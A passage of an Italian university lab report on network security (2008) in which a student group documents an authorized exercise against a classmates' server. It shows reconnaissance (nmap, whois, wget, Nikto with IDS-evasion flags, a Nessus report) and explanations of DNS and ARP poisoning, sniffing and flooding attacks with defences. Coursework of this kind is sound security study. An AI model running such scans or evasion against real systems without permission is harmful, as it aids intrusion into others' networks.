Relazione HACK DNS
Transcript
Relazione HACK DNS
Corso di Sicurezza su reti II Anno accademico 2007-2008 Prof. A. De Santis Dott. L. Catuogno Attacchi al gruppo NIC: “Suppongo dunque che sia non un vero Dio, che è la fonte suprema di verità, ma un Demone Malvagio, astuto e ingannevole quanto potente, che ha dispiegato tutti i suoi artifizi per sconfiggermi. Suppongo dunque che il paradiso, i cieli, le forme, i suoni, i colori e tutti gli elementi percepibili dalla vista non siano altro che inganni e illusioni che esso impiega per inglobarmi. Mi considero privo di mani, occhi, corpo, sangue e sensi; ciò nonostante, mi considero erroneamente in possesso di tutto ciò” (CARTESIO, “SULLE COSE DI CUI SI PUÒ DUBITARE”) Versione 0.1 Capitolo: Parte prima: INFORMAZIONI GENERALI Gruppo HACKER 1 SOMMARIO Parte prima: INFORMAZIONI GENERALI .......................................................................................................... 4 Parte seconda: PREREQUISITI ........................................................................................................................... 5 Raccolta Informazioni .................................................................................................................................... 5 TELNET ........................................................................................................................................................ 5 nslookup ..................................................................................................................................................... 5 wget ............................................................................................................................................................ 5 whois .......................................................................................................................................................... 7 nmap .......................................................................................................................................................... 8 host........................................................................................................................................................... 10 REPORT DI NIKTO (VULNERABILITA’ WEB) ............................................................................................... 10 REPORT DI NESSUS ................................................................................................................................... 11 VULNERABILITA’ DI UN SERVIZIO DNS......................................................................................................... 17 Come funziona il DNS ............................................................................................................................... 17 Exploit del DNS ......................................................................................................................................... 17 Difendere il DNS ....................................................................................................................................... 18 Descrizione TECNICHE DI ATTACCO ............................................................................................................. 19 SNIFFING................................................................................................................................................... 19 DoS ........................................................................................................................................................... 19 SNIFFING ATTIVO/ SPOOFING / CACHE POISON ...................................................................................... 20 DIROTTAMENTO RST ................................................................................................................................ 21 MITM ........................................................................................................................................................ 21 SQL injection............................................................................................................................................. 22 Parte terza: ATTACCHI ED ESITI ...................................................................................................................... 24 Attacco 1 : SQL INJECTION ....................................................................................................................... 24 Esito 1 : SQL INJECTION (FAILED) ............................................................................................................. 24 Attacco 2 : DoS 1 (NEGAZIONE DI ACCESSO AL SERVIZIO DNS) ............................................................... 25 Esito2 : DoS 1 (SUCCESS) .......................................................................................................................... 27 Attacco 3 : DDoS 2 (Degradazione del servizio DNS – ATTACCO FLODDING Distribuito) ........................ 27 Esito 3: DDoS 2 (SUCCESS)........................................................................................................................ 27 ATTACCHI SPECIFICI AL DNS ........................................................................................................................ 28 Attacco 1 : TENTATIVO DI TRASFERIMENTO DELLE ZONE DEL DNS ......................................................... 28 Esito 1 : TENTATIVO DI TRASFERIMENTO DELLE ZONE DEL DNS (FAILED) ............................................... 29 Attacco 2 : MITM + dns spoofing PHISHING ........................................................................................ 31 Esito 2 : MITM + DNS SPOOFING PHISHING (SUCCESS) ...................................................................... 32 Capitolo: Parte prima: INFORMAZIONI GENERALI STRUMENTI SOFTWARE............................................................................................................................... 23 2 Attacco 3 : MITM + arp Poison SSL HACKING ...................................................................................... 33 eSITO 3 : MITM + ARP POISON SSL HACKING (Success) ....................................................................... 37 Parte QUARTA: Note....................................................................................................................................... 38 Problema Configurazione wireless sotto linux (wpa_supplicant) ............................................................ 38 NOTE : COMANDI ESEGUITI ............................................................................................................................ 40 Capitolo: Parte prima: INFORMAZIONI GENERALI Riferimenti ...................................................................................................................................................... 41 3 PARTE PRIMA: INFORMAZIONI GENERALI NOME DEL GRUPPO Hack DENOMINAZIONE daman3 COMPONENTI 0521000698 MISSIONE Attaccare il gruppo NIC PROGETTO L’intenzione del gruppo è di realizzare la missione utilizzando tutti gli strumenti Open Source che risultino affidabili e facilmente reperibili e che naturalmente non comportano acquisto e rinnovo delle licenze. Ulteriori tool per gli attacchi e maggiori dettagli verranno forniti nelle fasi successive. Descrivendo le tecniche di attacco scelte e gli esiti relativi. Capitolo: Parte prima: INFORMAZIONI GENERALI D’AMATO ANGELO 4 PARTE SECONDA: PREREQUISITI RACCOLTA INFORMAZIONI TELNET [root@localhost]# telnet www.nic.it Trying 192.168.0.2... NSLOOKUP [root@localhost]# nslookup > www.nic.it !!! The server at (default) does not allow recursion. www.nic.it A 192.168.0.2 WGET [root@localhost]# wget -m -x https://www.nic.it --2008-06-16 14:58:09-- https://www.nic.it/ Resolving www.nic.it... 192.168.0.2 Connecting to www.nic.it|192.168.0.2|:443... connected. ERROR: cannot verify www.nic.it's certificate, issued by `/C=IT/ST=Italy/L=Fisciano/O=Nic/OU=Nic/CN=Nic/[email protected]': Self-signed certificate encountered. ERROR: certificate common name `Nic' doesn't match requested host name `www.nic.it'. To connect to www.nic.it insecurely, use `--no-check-certificate'. Unable to establish SSL connection. Capitolo: Parte seconda: PREREQUISITI [root@localhost]# wget -m -x http://www.nic.it --2008-06-16 14:57:52-- http://www.nic.it/ Resolving www.nic.it... 192.168.0.2 Connecting to www.nic.it|192.168.0.2|:80... connected. HTTP request sent, awaiting response... 403 Forbidden 2008-06-16 14:57:52 ERROR 403: Forbidden. 5 [root@localhost var]# wget -m -x https://www.nic.it --no-check-certificate --2008-06-19 15:53:59-- https://www.nic.it/ Resolving www.nic.it... 192.168.0.2 Connecting to www.nic.it|192.168.0.2|:443... connected. WARNING: cannot verify www.nic.it's certificate, issued by `/C=IT/ST=Italy/L=Fisciano/O=Nic/OU=Nic/CN=Nic/[email protected]': Self-signed certificate encountered. WARNING: certificate common name `Nic' doesn't match requested host name `www.nic.it'. HTTP request sent, awaiting response... 200 OK Length: 1927 (1.9K) [text/html] Saving to: `www.nic.it/index.html' 100%[================================================================================ ======>] 1,927 --.-K/s in 0s Last-modified header missing -- time-stamps turned off. 2008-06-19 15:53:59 (38.8 MB/s) - `www.nic.it/index.html' saved [1927/1927] Loading robots.txt; please ignore errors. --2008-06-19 15:53:59-- https://www.nic.it/robots.txt Reusing existing connection to www.nic.it:443. HTTP request sent, awaiting response... 404 Not Found 2008-06-19 15:53:59 ERROR 404: Not Found. --2008-06-19 15:53:59-- https://www.nic.it/registrazione_utente.php Reusing existing connection to www.nic.it:443. HTTP request sent, awaiting response... 200 OK Length: 2733 (2.7K) [text/html] Saving to: `www.nic.it/registrazione_utente.php' 100%[================================================================================ ======>] 2,733 --.-K/s in 0s --2008-06-19 15:53:59-- https://www.nic.it/index.php Reusing existing connection to www.nic.it:443. HTTP request sent, awaiting response... 200 OK Length: 1927 (1.9K) [text/html] Saving to: `www.nic.it/index.php' 100%[================================================================================ ======>] 1,927 --.-K/s in 0s Last-modified header missing -- time-stamps turned off. 2008-06-19 15:53:59 (24.1 MB/s) - `www.nic.it/index.php' saved [1927/1927] FINISHED --2008-06-19 15:53:59-Downloaded: 3 files, 6.4K in 0s (26.8 MB/s) Capitolo: Parte seconda: PREREQUISITI Last-modified header missing -- time-stamps turned off. 2008-06-19 15:53:59 (23.6 MB/s) - `www.nic.it/registrazione_utente.php' saved [2733/2733] 6 WHOIS [root@localhost angelo]# whois nic.it swhoisd 3.0.5 Searching for nic.it. Found 4 record(s) matching nic.it. Domain: (Handle NIC) Name: Gruppo NIC Domain Name: nic.it Country: IT Administrative Contact: Raffaele Email address: [email protected] Host: (Handle NIC) FQDN: www.nic.it IP Address: 192.168.0.2 Administrative Contact: Raffaele Email address: [email protected] Host: (Handle NIC) FQDN: ns.nic.it IP Address: 192.168.0.2 Administrative Contact: Raffaele Email address: [email protected] Host: (Handle NIC) FQDN: whois.nic.it IP Address: 192.168.0.2 Administrative Contact: Raffaele Email address: [email protected] Capitolo: Parte seconda: PREREQUISITI To single out one record, look it up with "!XXX", where XXX is the handle 7 NMAP [root@localhost var]# nmap -sS -O www.nic.it Starting Nmap 4.65 ( http://nmap.org ) at 2008-06-19 15:56 CEST Interesting ports on 192.168.0.2: Not shown: 1710 filtered ports PORT STATE SERVICE 22/tcp open ssh 43/tcp open whois 53/tcp open domain 80/tcp open http 443/tcp open https MAC Address: 00:50:BA:C7:CC:A1 (D-link) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.18 - 2.6.22 Uptime: 0.167 days (since Thu Jun 19 11:55:29 2008) Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.669 seconds [root@localhost]# nmap www.nic.it MAC Address: 00:50:BA:C7:CC:A1 (D-link) Nmap done: 1 IP address (1 host up) scanned in 7.769 seconds Capitolo: Parte seconda: PREREQUISITI Starting Nmap 4.65 ( http://nmap.org ) at 2008-06-16 15:01 CEST Interesting ports on 192.168.0.2: Not shown: 1710 filtered ports PORT STATE SERVICE 22/tcp open ssh 43/tcp open whois 53/tcp open domain 80/tcp open http 443/tcp open https 8 [root@localhost angelo]# nmap -A www.nic.it SCRIPT ENGINE: Aborting script scan. Interesting ports on 192.168.0.2: Not shown: 1710 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9etch2 (protocol 2.0) 43/tcp open whois? 53/tcp open domain ISC BIND 9.3.4 80/tcp open http Apache httpd 443/tcp open ssl/http Apache httpd 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port43-TCP:V=4.65%I=7%D=6/19%Time=485A9659%P=i686-pc-linux-gnu%r(Generi SF:cLines,27,"swhoisd\x203\.0\.5\r\nRequest\x20is\x20too\x20short\r\n\r\n" SF:)%r(GetRequest,5D,"swhoisd\x203\.0\.5\r\nSearching\x20for\x20get\x20/\x SF:20http/1\.0\.\x20\x20\r\nNo\x20records\x20matching\x20get\x20/\x20http/ SF:1\.0\x20found\.\r\n\r\n")%r(HTTPOptions,65,"swhoisd\x203\.0\.5\r\nSearc SF:hing\x20for\x20options\x20/\x20http/1\.0\.\x20\x20\r\nNo\x20records\x20 SF:matching\x20options\x20/\x20http/1\.0\x20found\.\r\n\r\n")%r(RTSPReques SF:t,65,"swhoisd\x203\.0\.5\r\nSearching\x20for\x20options\x20/\x20rtsp/1\ SF:.0\.\x20\x20\r\nNo\x20records\x20matching\x20options\x20/\x20rtsp/1\.0\ SF:x20found\.\r\n\r\n")%r(Help,49,"swhoisd\x203\.0\.5\r\nSearching\x20for\ SF:x20help\.\x20\x20\r\nNo\x20records\x20matching\x20help\x20found\.\r\n\r SF:\n")%r(SSLSessionReq,27,"swhoisd\x203\.0\.5\r\nRequest\x20is\x20too\x20 SF:short\r\n\r\n")%r(FourOhFourRequest,A3,"swhoisd\x203\.0\.5\r\nSearching SF:\x20for\x20get\x20/nice%20ports%2c/tri%6eity\.txt%2ebak\x20http/1\.0\.\ SF:x20\x20\r\nNo\x20records\x20matching\x20get\x20/nice%20ports%2c/tri%6ei SF:ty\.txt%2ebak\x20http/1\.0\x20found\.\r\n\r\n")%r(LPDString,51,"swhoisd SF:\x203\.0\.5\r\nSearching\x20for\x20\x01default\.\x20\x20\r\nNo\x20recor SF:ds\x20matching\x20\x01default\x20found\.\r\n\r\n")%r(SIPOptions,6D,"swh SF:oisd\x203\.0\.5\r\nSearching\x20for\x20options\x20sip:nm\x20sip/2\.0\.\ SF:x20\x20\r\nNo\x20records\x20matching\x20options\x20sip:nm\x20sip/2\.0\x SF:20found\.\r\n\r\n"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.18 - 2.6.22 Uptime: 0.037 days (since Thu Jun 19 18:32:29 2008) Capitolo: Parte seconda: PREREQUISITI Starting Nmap 4.65 ( http://nmap.org ) at 2008-06-19 19:24 CEST SCRIPT ENGINE: error while initializing Lua State: 'nselib-bin/' not a directory 9 HOST [root@localhost]# host -t ns www.nic.it !!! The server at (default) does not allow recursion. Authority section contains (1 record): nic.it SOA nic.it root.nic.it ( 2008052731 ;serial number (version) 43200 ;slave refresh period (12 hours) 3600 ;slave retry interval (1 hour) 1209600 ;slave expire time (2 weeks) 3600 ;negative response TTL (1 hour) ) perl nikto.pl -host 192.168.0.2 -evasion 1 -Cgidirs all -C --------------------------------------------------------------------------- Nikto 2.02/2.03 cirt.net + Target IP: 192.168.0.2 + Target Hostname: 192.168.0.2 + Target Port: 80 + Using IDS Evasion: Random URI encoding (non-UTF8) + Start Time: 2008-06-24 17:31:35 --------------------------------------------------------------------------+ Server: Apache + OSVDB-0: Retrieved X-Powered-By header: PHP/5.2.5 + OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details + OSVDB-12184: GET /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 : PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings. + 17457 items checked: 3 item(s) reported on remote host + End Time: 2008-06-24 17:31:48 (13 seconds) --------------------------------------------------------------------------+ 1 host(s) tested Capitolo: Parte seconda: PREREQUISITI REPORT DI NIKTO (VULNERABILITA’ WEB) 10 REPORT DI NESSUS Repartition of the level of the security problems : Nessus Scan Report This report gives details on hosts that were tested and issues that were found. Please follow the recommended steps and procedures to eradicate these threats. Scan Details Hosts which were alive and responding during test 1 Number of security holes found 1 Number of security warnings found 1 Host(s) Possible Issue 192.168.0.2 Security hole(s) found Capitolo: Parte seconda: PREREQUISITI Host List 11 Address of Host Port/Service Issue regarding Port 192.168.0.2 domain (53/tcp) No Information 192.168.0.2 ssh (22/tcp) Security notes found 192.168.0.2 https (443/tcp) Security warning(s) found 192.168.0.2 http (80/tcp) Security notes found 192.168.0.2 nicname (43/tcp) No Information 192.168.0.2 general/tcp Security hole found Capitolo: Parte seconda: PREREQUISITI Analysis of Host 12 Security Issues and Fixes: 192.168.0.2 Type Port Issue and Fix Informational ssh (22/tcp) An ssh server is running on this port Nessus ID : 10330 Warning https (443/tcp) MacOS X creates a hidden file, '.DS_Store' in each directory that has been viewed with the 'Finder'. This file contains a list of the contents of the directory, giving an attacker information on the structure and contents of your website. Solution: Use a <FilesMatch> directive in httpd.conf to forbid retrieval of this file: <FilesMatch '^\.[Dd][Ss]_[Ss]'> Order allow, deny Deny from all </FilesMatch> and restart Apache. Risk factor : Medium (possibly High depending on the sensitivity of your web content) References: www.macintouch.com/mosxreaderreports46.html BID : 3316, 3325 Other references : OSVDB:6694 Nessus ID : 10756 Informational https (443/tcp) A SSLv2 server answered on this port Nessus ID : 10330 Informational https (443/tcp) A web server is running on this port through SSL Nessus ID : 10330 Informational https (443/tcp) The remote web server type is : Apache Nessus ID : 10107 Informational https (443/tcp) Synopsis : Debugging functions are enabled on the remote HTTP server. Description : The remote webserver supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods which are used to debug web server connections. It has been shown that servers supporting this method are subject to cross-site-scripting attacks, dubbed XST for "Cross-Site-Tracing", when used in conjunction with various weaknesses in browsers. An attacker may use this flaw to trick your legitimate web users to give him their credentials. Capitolo: Parte seconda: PREREQUISITI and the 'ServerTokens' directive is ProductOnly Apache does not permit to hide the server type. 13 Solution : Disable these methods. See also : http://www.kb.cert.org/vuls/id/867593 Risk factor : Low / CVSS Base Score : 2 (AV:R/AC:L/Au:NR/C:P/A:N/I:N/B:N) Plugin output : Solution : Add the following lines for each virtual host in your configuration file : RewriteEngine on RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) RewriteRule .* - [F] Informational https (443/tcp) Here is the SSLv2 server certificate: Certificate: Data: Version: 3 (0x2) Serial Number: d7:e5:05:cd:96:44:29:fa Signature Algorithm: sha1WithRSAEncryption Issuer: C=IT, ST=Italy, L=Fisciano, O=Nic, OU=Nic, CN=Nic/[email protected] Validity Not Before: May 27 14:38:47 2008 GMT Not After : Jun 26 14:38:47 2008 GMT Subject: C=IT, ST=Italy, L=Fisciano, O=Nic, OU=Nic, CN=Nic/[email protected] Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:ac:5f:85:ad:a2:0f:a5:5a:75:55:30:73:ec:08: f3:7f:d0:3e:73:5b:a2:2a:60:f0:ba:66:33:bd:c6: 65:e6:7b:ad:4d:92:85:5c:d3:1c:14:90:67:57:09: 97:cf:7a:3b:31:09:89:bf:25:75:57:e4:dc:d8:30: 51:c2:f5:14:58:57:3b:a7:dc:b3:b8:24:ae:c4:2f: a5:df:c6:86:24:9f:fd:55:70:14:b4:04:a5:59:c1: 46:e4:af:cc:32:f0:be:10:cd:c4:08:88:89:a2:09: b2:6a:f6:bd:99:28:f1:c0:92:47:7f:37:8d:d8:91: 2a:cc:e2:f6:55:69:ba:d9:93:6f:32:45:5f:da:42: 2f:70:f3:66:26:ee:e9:da:ff:e3:7e:70:b3:82:c3: 11:54:7a:43:d9:e2:fb:7b:28:1a:6a:10:b4:ee:ff: d2:43:0d:28:21:11:f6:c9:26:f0:11:8e:9b:5f:3f: c5:91:87:1b:a3:db:8f:b1:ed:08:e7:92:53:01:bc: dd:63:f3:8c:4e:3f:92:d1:ad:06:9d:3d:29:26:8c: 96:63:4d:7d:d3:b7:bc:01:c3:d0:29:3b:e7:32:8c: 5a:e2:03:80:18:af:e6:96:96:4b:a4:6a:8c:3d:1e: ad:9c:06:eb:e1:cd:60:cc:0b:e2:b7:41:db:a8:98: 1f:9b Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: FA:1F:A8:31:CC:D4:7D:4F:C6:C6:14:DC:10:2B:AC:F8:9C:50:9A:A6 X509v3 Authority Key Identifier: Capitolo: Parte seconda: PREREQUISITI CVE : CVE-2004-2320 BID : 9506, 9561, 11604 Nessus ID : 11213 14 keyid:FA:1F:A8:31:CC:D4:7D:4F:C6:C6:14:DC:10:2B:AC:F8:9C:50:9A:A6 DirName:/C=IT/ST=Italy/L=Fisciano/O=Nic/OU=Nic/CN=Nic/[email protected] serial:D7:E5:05:CD:96:44:29:FA X509v3 Basic Constraints: CA:TRUE Signature Algorithm: sha1WithRSAEncryption a0:2b:24:bc:58:c6:cc:0a:8f:14:92:df:35:02:ab:33:41:fb: 76:ab:ab:1e:57:ae:29:d4:e0:b7:c4:35:e4:8c:ed:f2:0b:f5: f1:6a:9f:74:a1:90:dc:7e:59:14:a5:99:72:cd:76:96:bb:5a: 08:0b:6c:41:10:19:da:20:25:f6:97:85:b4:7c:68:1b:c4:74: 02:b3:8a:c9:09:28:40:f8:11:96:df:0e:ad:58:83:54:72:76: 82:4e:44:e6:59:56:60:d7:5c:2e:07:c3:2f:9f:93:68:34:a5: 39:0b:1d:ed:52:6b:12:7a:c2:a1:6a:42:a2:4e:a4:95:7c:ac: 37:c8:f7:1a:b2:f9:d8:87:af:60:f8:f3:4f:20:9e:7e:b0:3f: 69:5b:fb:fc:f8:e5:c1:2f:53:b3:db:c7:23:63:a0:86:b7:1a: 6b:89:26:ff:60:f5:22:8a:43:93:0b:7c:22:8c:ec:74:81:eb: 63:9c:99:44:c0:40:c7:30:06:8b:e6:22:15:74:0d:95:71:5c: 31:8a:20:ca:4f:47:7d:db:97:16:7d:38:d2:65:af:3a:a4:e2: 53:1e:41:ad:df:a3:67:e4:40:76:89:58:d8:66:9b:ac:48:54: 20:b4:00:73:b3:98:4f:03:75:19:27:20:49:dc:aa:5e:9a:fc: fc:75:04:2a This SSLv2 server also accepts SSLv3 connections. This SSLv2 server also accepts TLSv1 connections. Nessus ID : 10863 Informational https (443/tcp) The following directories were discovered: /phpMyAdmin While this is not, in and of itself, a bug, you should manually inspect these directories to ensure that they are in compliance with company security standards Other references : OWASP:OWASP-CM-006 Nessus ID : 11032 Informational https (443/tcp) The SSL certificate of the remote service will expire within 60 days, at Jun 26 14:38:47 2008 GMT. Nessus ID : 15901 Informational http (80/tcp) A web server is running on this port Nessus ID : 10330 Informational http (80/tcp) The remote web server type is : and the 'ServerTokens' directive is ProductOnly Apache does not permit to hide the server type. Nessus ID : 10107 Informational http (80/tcp) Synopsis : Debugging functions are enabled on the remote HTTP server. Description : The remote webserver supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods which are used to debug web server connections. It has been shown that servers supporting this method are subject to cross-site-scripting attacks, dubbed XST for "Cross-Site-Tracing", when used in conjunction with various weaknesses in browsers. An attacker may use this flaw to trick your legitimate web users to give Capitolo: Parte seconda: PREREQUISITI Apache 15 him their credentials. Solution : Disable these methods. See also : http://www.kb.cert.org/vuls/id/867593 Risk factor : Low / CVSS Base Score : 2 (AV:R/AC:L/Au:NR/C:P/A:N/I:N/B:N) Plugin output : Solution : Add the following lines for each virtual host in your configuration file : RewriteEngine on RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) RewriteRule .* - [F] CVE : CVE-2004-2320 BID : 9506, 9561, 11604 Nessus ID : 11213 Vulnerability general/tcp You are running a version of Nessus which is not configured to receive a full plugin feed. As a result, the security audit of the remote host produced incomplete results. To obtain a complete plugin feed, you need to register your Nessus scanner at http://www.nessus.org/register/ then run nessus-update-plugins to get the full list of Nessus plugins. Nessus ID : 9999 general/tcp Information about this scan : Nessus version : 2.2.9 Plugin feed version : 200610301215 Type of plugin feed : GPL only Scanner IP : 127.0.0.1 Port scanner(s) : nessus_tcp_scanner Port range : default Thorough tests : no Experimental tests : no Paranoia level : 1 Report Verbosity : 2 Safe checks : yes Max hosts : 20 Max checks : 4 Scan duration : unknown (ping_host.nasl not launched?) Nessus ID : 19506 This file was generated by Nessus, the open-sourced security scanner. Capitolo: Parte seconda: PREREQUISITI Informational 16 VULNERABILITA’ DI UN SERVIZIO DNS Il layer 7 del modello OSI è il layer dell'applicazione, ovvero lo strato superiore tra tutti quelli previsti da tale modello e si interfaccia direttamente con le applicazioni e i processi delle applicazioni. Le applicazioni svolgono un ruolo critico nella sicurezza della rete: possono infatti essere sviluppate in modo da risultare completamente insicure, da presentare un minimo livello di sicurezza o da essere molto resistenti agli attacchi. Molti servizi, quali File Transfer Protocol (FTP), Telnet, Simple Mail Transfer Protocol (SMTP) e Domain Name System (DNS), sono da talmente tanto tempo disponibili che le minacce che si trovano ad affrontare oggi non erano state previste all'epoca dello sviluppo. Fra tutti il DNS è fra i bersagli principali.. COME FUNZIONA IL DNS Nessuna location su Internet possiede tutte le informazioni contenute all'interno del database di DNS. A livello di root, ci sono 13 server DNS; la maggior parte di questi è situata negli Stati Uniti in strutture fisicamente sicure. Il DNS è un database distribuito che contiene le informazioni per la mappatura dei nomi degli host sugli indirizzi IP. Il DNS fornisce un metodo per interrogare le informazioni contenute all'interno del database. A seconda del tipo di azione che viene eseguita, il DNS impiega sia l'UDP sia il TCP. L'UDP è solitamente usato nelle query a meno che il lookup o la risposta siano più grandi di 512 byte. Il TCP è usato sia per lookup più grandi sia per i trasferimenti di zona. Quando controllate la vostra posta o andate su un sito Web, state solitamente sfruttando un DNS per tradurre il nome di un host in un indirizzo IP. Di conseguenza, se aprite il vostro browser e vi recate sul sito SearchNetworking.it, il DNS traduce un Fully Qualified Domain Name (FQDN) nell'indirizzo IP corretto. EXPLOIT DEL DNS Quando un server di DNS risponde a una richiesta, il messaggio inviato contiene un ID di transazione e le risposte alle query dell'utente. Se i record di DNS non sono disponibili o sono stati alterati, non è possibile raggiungere il sito dove si stava tentando di andare o si può essere addirittura collegati al server web dell'attacker. Ciò è possibile perché il protocollo può essere attaccato in diversi modi. Questi includono: Utilizzo dei trasferimenti di zona Cache poisoning del DNS Cache snooping del DNS Attacchi man in the middle Capitolo: Parte seconda: PREREQUISITI Questo processo comincia trasmettendo la richiesta a un servizio sull'host locale denominato RESOLVER. Tipicamente, il resolver prima controlla la cache locale che contiene le risposte alle richieste recenti. Inoltre, può anche controllare il file dell'host, che è un file locale adibito a contenere la mappatura degli host name sugli indirizzi IP. Se le informazioni richieste non sono disponibili né nella cache locale, né nell'host, il resolver trasmetterà una richiesta al server DNS che l'interfaccia di rete TCP/IP dell'host prevede venga utilizzato. Al fine di aumentare le prestazioni e diminuire il traffico della rete causato dal DNS, i name server memorizzeranno nella cache le risposte alle richieste fatte in un certo periodo di tempo. Il periodo di tempo in cui le informazioni presenti in una risposta rimangono nella cache è determinato dal time-to-live (TTL) specificato nella risposta stessa. 17 UTILIZZO DEI TRASFERIMENTI DI ZONA I trasferimenti di zona sono usati per copiare un database del dominio dal server primario al server secondario. Se un attacker può effettuare un trasferimento di zona con i name server primari o secondari per un dominio, potrà vedere tutti i record di DNS relativi a tale dominio. Ciò può esporre informazioni sensibili quali gli schemi degli indirizzi interni. In più, per un attacker è possibile determinare quali indirizzi IP sono per esempio usati tramite il server Web, l'email o il file transfer. CACHE POISONING DEL DNS La seconda tecnica che trattiamo è il Cache poisoning del DNS. Sia i client sia i server di DNS memorizzano nella cache le risposte per un certo periodo di tempo con lo scopo di aumentare le prestazioni e ridurre il traffico della rete. Se gli attacker sono in grado di camuffare una risposta a una richiesta del DNS, possono contaminare la cache del DNS con un record errato. Alterando la cache dei client e dei server del DNS, un attacker può riorientare il traffico verso host maligni, che possono portare a ulteriori compromissioni. I predetti attacchi alla root dei server DNS hanno provato questa tecnica, ma hanno anche tentato il denial of service. CACHE SNOOPING DEL DNS Cache snooping del DNS è il processo che porta a determinare se un dato resource record è presente nella cache. Questo metodo può essere utile per stabilire quali siti ha visitato un determinato navigatore, quali sono i loro client e i loro clienti e altre informazioni potenzialmente utili per un attacker. È persino possibile vedere quale software un navigatore sta usando per controllare la presenza di resource record relativi agli indirizzi dell'aggiornamento dei programmi. ATTACCHI MAN IN THE MIDDLE Per concludere, gli attacchi man in the middle (MITM) si hanno quando un attacker intercetta e modifica i messaggi di DNS sul tragitto di collegamento. In questa situazione, l'attacker può individuare la porta del source e l'ID della transazione tramite il traffico intercettato. Gli attacchi MITM possono essere usati per riorientare le vittime dagli indirizzi legittimi a siti maligni. Questo può essere particolarmente utile per gli attacker che tentano di rubare informazioni personali se i target sono le richieste al DNS per i siti bancari, finanziari e di e-commerce. Invece di attrarre un utente con un'email come quelle usate solitamente nel phishing, l'attacker può indirizzare i suoi sforzi verso i record del DNS per i siti legittimi. Questi attacchi rappresentano minacce reali, ma per fortuna ci sono alcune difese. Il cache poisoning del DNS può essere reso più difficile richiedendo al DNS stesso di usare una porta del source e un Id della transazione casuali. Senza un valore corretto per questi campi, l'attacker non potrà imitare una risposta nel tentativo di alterare la cache del server. I trasferimenti di zona erano un problema reale alcuni anni fa, poiché i server Windows 2000 permettevano di default che chiunque ottenesse queste informazioni. Tale difetto non esiste più in Windows Server 2003. Anche gli attacchi recenti contro la root dei server di DNS avrebbero potuto essere evitati se gli ISP avessero realizzato un migliore filtraggio del traffico in uscita. Una soluzione a questo problema viene proposta in RFC 3704. Nonostante le contromisure discusse sopra siano un buon modo per rendere il DNS più sicuro, devono essere un punto di partenza e non di arrivo. Non riuscire a risolvere dei problemi associati al DNS lascia vulnerabili agli attacchi che interessano le applicazioni, il traffico Web, l'email e le comunicazione VoIP che devono attraversare Internet. Capitolo: Parte seconda: PREREQUISITI DIFENDERE IL DNS 18 DESCRIZIONE TECNICHE DI ATTACCO SNIFFING Lo sniffing è un metodo con cui una persona può compromettere la sicurezza di una rete in modo passivo. In questo ambiente, per sniffer si intende un programma o uno strumento che monitora in modo passivo una rete per trovare informazioni utili; nella maggior parte dei casi questi dati riguardano l’autenticazione, come i nomi utente e le password che consentono di ottenere l’accesso al sistema o alla risorsa. Le schede di rete filtrano il traffico nell’hardware affinché la macchina collegata veda solo il proprio traffico, non per ragioni di sicurezza bensì per evitare di sovraccaricare la macchina. Lo sniffing disabilità questo filtro, ponendo la scheda nella cosiddetta modalità promiscua, mentre il software è regolato appositamente per occuparsi del flusso di traffico e per analizzarlo o acquisirlo. Le porte più soggette a sniffing grazie al passaggio in chiaro delle credenziali sono : 1 Informazioni di autenticazione 2 Monitoraggio di telnet (porta 23) 3 Monitoraggio di FTP (porta 21) 4 Monitoraggio di POP (porta 110) 5 Monitoraggio di IMAP (porta 143) 6 Monitoraggio di NNTP (porta 119) 7 Monitoraggio di rexec (porta 512) 8 Monitoraggio di rlogin (porta 513) 9 Monitoraggio di X11 (porta 6000 e seguenti) 10 Monitoraggio degli handle dei file NFS 11 Monitoraggio di SMTP (porta 25) DOS Un attacco DoS (Denial of service, negazione del servizio) avviene quando la disponibilità delle risorse viene intenzionalmente bloccata o ridotta in modo illecito, in altre parole quando tale disponibilità viene negata agli utenti autorizzati. Questi tipi di violazione possono essere eseguiti sul sistema locale oppure in modo remoto da una rete. FLOODING Se l'obiettivo è un host, un server o un apparato di rete, il flooder - tramite l'invio di un gran numero di pacchetti ad una grande velocità sfruttando protocolli come ad esempio Syn o ICMP potrebbe rendere non disponibile il servizio svolto dal dispositivo a causa dell'impossibilità di questi di gestire la grande quantità di pacchetti ricevuti creando quindi un momentaneo crash del servizio Capitolo: Parte seconda: PREREQUISITI 12 Monitoraggio di http (porta 80) 19 per la durata del flood o un denial of service fino a rendere il dispositivo non più in grado di erogare i servizi. SNIFFING ATTIVO/ SPOOFING / CACHE POISON L’aggressore invia risposte ARP camuffate a determinate periferiche, facendo in modo che le voci della cache ARP vengano sovrascritte con i suoi dati. Questa tecnica viene detta “avvelenamento della cache ARP” (ARP Cache Poisoning). Per intercettare il traffico di rete tra due punti, A e B, l’aggressore deve “avvelenare” la cache ARP di A per far si che l’indirizzo IP di B corrisponda al suo indirizzo MAC, e deve inoltre avvelenare a cache ARP di B per indurre B a ritenere che l’indirizzo IP di A corrisponda anch’esso al suo indirizzo MAC. A questo punto è sufficiente che la macchina dell’aggressore inoltri questi pacchetti alle rispettive destinazioni finali: tutto il traffico tra A e B continuerà a funzionare regolarmente, ma passando attraverso la macchina dell’aggressore, come mostrato nella seguente figura. Capitolo: Parte seconda: PREREQUISITI In un ambiente a rete commutata i pacchetti vengono inviati unicamente alla porta alla porta a cui sono destinati, in base ai rispettivi indirizzi MAC di destinazione. Il vantaggio in un ambiente 